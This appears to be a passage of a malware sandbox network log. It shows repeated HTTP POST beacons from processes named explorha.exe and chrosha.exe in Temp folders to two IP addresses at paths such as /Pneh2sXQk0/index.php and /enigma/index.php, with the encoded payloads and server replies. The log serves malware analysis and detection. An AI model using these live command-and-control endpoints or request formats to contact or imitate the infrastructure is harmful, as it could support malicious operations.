500	192.168.2.5	50344	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:16.713951111 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:16.968626976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.5	50345	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:17.177166939 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:17.421614885 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.5	50346	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:17.322401047 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:17.571221113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.5	50347	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:17.672910929 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:17.926021099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.5	50348	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:17.819947958 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:18.068926096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.5	50349	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:18.291055918 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:18.539308071 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.5	50350	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:18.432881117 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:18.682868004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.5	50351	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:18.791254044 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:19.043031931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.5	50352	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:18.935334921 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:19.183657885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.5	50353	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:19.403923988 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:19.655016899 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.5	50354	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:19.542620897 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:19.791121006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.5	50355	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:19.907042027 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:20.157968044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.5	50356	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:20.041852951 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:20.289483070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.5	50357	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:20.530364037 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:20.782867908 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.5	50358	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:20.648312092 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:20.892092943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.5	50359	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:21.036916971 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:21.289412022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.5	50360	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:21.142071009 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:21.390985012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.5	50361	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:21.657546043 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:21.905548096 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.5	50362	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:21.740859032 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:21.984735012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.5	50364	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:22.159617901 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:22.412725925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.5	50365	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:22.239408016 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:22.492142916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.5	50366	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:22.776021957 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:23.024703979 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.5	50367	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:22.858995914 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:23.107474089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.5	50368	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
